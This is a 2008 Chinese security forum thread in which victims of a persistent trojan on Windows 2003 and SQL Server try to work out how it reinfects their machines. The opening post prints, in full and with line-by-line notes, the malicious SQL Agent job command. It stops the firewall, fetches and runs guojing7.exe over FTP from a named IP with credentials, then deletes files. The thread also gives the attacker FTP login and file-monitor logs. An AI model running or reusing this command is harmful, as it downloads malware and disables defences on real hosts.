瑞星卡卡安全论坛

中了一个史上最顽固超阴超狠的SQL木马！

这个木马最特别的地方，就是查不出来源，删除了一样会复活。

重装win2003和SQL SERVER都没用。

这个木马的整个流程：  木马源（不知道在什么地方）——自动运行SQL server Agent——生成名字叫“X”的自动作业——x通过运行ftp.exe，自动链接到222.208.183.101 下载木马——运行DoIt.bat安装木马，然后自动删除DoIt.bat


其中名字叫“X”的自动作业执行的指令是：

Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GoogleT5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MCDZ_V1_00-19-21-58-36-42; TheWorld)

您查询的IP:222.208.183.101

本站主数据：四川省眉山市 电信 参考数据一：四川省眉山市 电信 参考数据二：四川省眉山市 电信

估计是黑客控制的一个肉鸡。

ftp://admin:123456@222.208.183.101

登陆上去看到：

黑.jpg (22.74 K)

2008-9-9 15:26:49

这个就是木马的老巢了！里面的木马每天都出新变种！

重装win2003和SQL SERVER都没用。

这一般是这样情况

一是电脑内没处理完

二是局域网内还有其他电脑有毒没清理

三是继续上了自以为没问题的网站

现在唯一想不明白的，就是SQL server Agent里面的“X”是怎么生成的？由谁生成？是某个存储过程吗？

1，    C盘是格式化之后再重装的，同样版本的SQL和2003在其他电脑上使用是正常的。其他盘扫描过没有发现病毒。当然不排除病毒隐藏得特别好。
2，  单机拨号上网，不是局域网。
3，  重装当天检查过SQL server Agent，完全正常，第二天上网就发现又多了个“X”，但是只上过QQ.com，没上过其他网站。QQ.com应该是没问题的，因为其他人的电脑上都没事情。排除是网站带来的病毒。

Cmd.exe /c del ias\ias.mdb&  删除system32\ias\ias.mdb （用于储存远程访问策略）
del ias\dnary.mdb&  删除system32\ias\dnary.mdb （IAS 日志文件）
Start net1 stop sharedaccess&  关闭(Intemet连接共享和防火墙服务)。
Md str312146&  建立文件夹str312146
Cd str312146&  进入文件夹str312146
Cacls %windir%\system32 \ftp.exe /c /e /p EveryOne:F&  修改ftp.exe权限为EveryOne完全控制
Echo Open 222.208.183.101 >k.w&      生成k.w文件，内容是“Open 222.208.183.101” 
echo admin >>k.w&    用户名
echo 123456 >>k.w&    密码
echo get guojing7.exe >>k.w&    下载guojing7.exe
echo bye >>k.w&    退出FTP
ftp -i -s:k.w&  运行ftp命令
del k.w&  删除k.w文件
Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&  恢复ftp.exe权限为正常
echo for %%i in (*.exe) do start %%i>DoIt.bat&  生成DoIt.bat文件，内容是执行当前目录的所有exe 文件
ping -n 10 127.0.0.1&  使用ping命令，检查本机是否启动了网络服务
DoIt.bat&  运行DoIt.bat
del DoIt.bat&&  删除DoIt.bat
del *.* /f /s /q  删除生成的所有临时文件。

这个我也中了。。。。而且状况跟lz一模一样。木马生成过程都一样。。。木马源找不到
（应该是新型木马瑞星的病毒库了没有这个）
最近在网上查了一下发现中这个的都是9月份以后才中的（至少发帖子的时候都是9月份）

你把SQLSERVER密码修改下看 把里面的作业删除看下  我今天也中了

用 sql注入攻击 做关键字在google搜索，然后根据你自己机器的实际情况比对

我想知道如何来处理这个问题
我的电脑也中了此病毒，重装系统根本就不起作用。

下面是我用文件监控发现的资料，希望对高手们有所帮助。

2008-12-15 19:47:02  发现：新建文件!
文件：C:\WINDOWS\system32\Sltc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:06  发现：新建文件!
文件：C:\WINDOWS\system32\Sltc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:07  发现：新建文件!
文件：C:\WINDOWS\system32\Sltc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:11  发现：新建文件!
文件：C:\WINDOWS\system32\Slxc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:13  发现：新建文件!
文件：C:\WINDOWS\system32\Slxc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:15  发现：新建文件!
文件：C:\WINDOWS\system32\Slxc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:26  发现：新建文件!
文件：C:\WINDOWS\system32\Studio\DoIt.bat
进程：C:\WINDOWS\system32\Sltc.exe  拦截

2008-12-15 19:48:40  发现：新建文件!
文件：C:\WINDOWS\system32\CMD.COM  拦截

2008-12-15 19:48:47  发现：新建文件!
文件：C:\WINDOWS\system32\Cmd.Com
进程：C:\WINDOWS\system32\Cmd.exe  拦截

2008-12-15 19:48:48  发现：新建文件!
文件：C:\WINDOWS\system32\Cmd.Com  拦截

2008-12-15 19:49:02  发现：新建文件!
文件：C:\WINDOWS\system32\Jay\DoIt.bat
进程：C:\WINDOWS\system32\Cmd.Com  拦截

2008-12-15 19:47:02  发现：新建文件!
文件：C:\WINDOWS\system32\Sltc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:06  发现：新建文件!
文件：C:\WINDOWS\system32\Sltc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:07  发现：新建文件!
文件：C:\WINDOWS\system32\Sltc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:11  发现：新建文件!
文件：C:\WINDOWS\system32\Slxc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:13  发现：新建文件!
文件：C:\WINDOWS\system32\Slxc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:15  发现：新建文件!
文件：C:\WINDOWS\system32\Slxc.exe
进程：C:\PROGRA~1\MI6841~1\MSSQL\binn\sqlservr.exe  拦截

2008-12-15 19:47:26  发现：新建文件!
文件：C:\WINDOWS\system32\Studio\DoIt.bat
进程：C:\WINDOWS\system32\Sltc.exe  拦截

2008-12-15 19:48:40  发现：新建文件!
文件：C:\WINDOWS\system32\CMD.COM  拦截

2008-12-15 19:48:47  发现：新建文件!
文件：C:\WINDOWS\system32\Cmd.Com
进程：C:\WINDOWS\system32\Cmd.exe  拦截

2008-12-15 19:48:48  发现：新建文件!
文件：C:\WINDOWS\system32\Cmd.Com  拦截

2008-12-15 19:49:02  发现：新建文件!
文件：C:\WINDOWS\system32\Jay\DoIt.bat
进程：C:\WINDOWS\system32\Cmd.Com  拦截

应该是下载的木马在ping命令里自动生成加载的吧

这个我也中了，跟楼主的一摸一样，并且中毒之后 数据库里所有的都东西通过网络就访问不了，本地计算机 就可以，请问楼主的解决了吗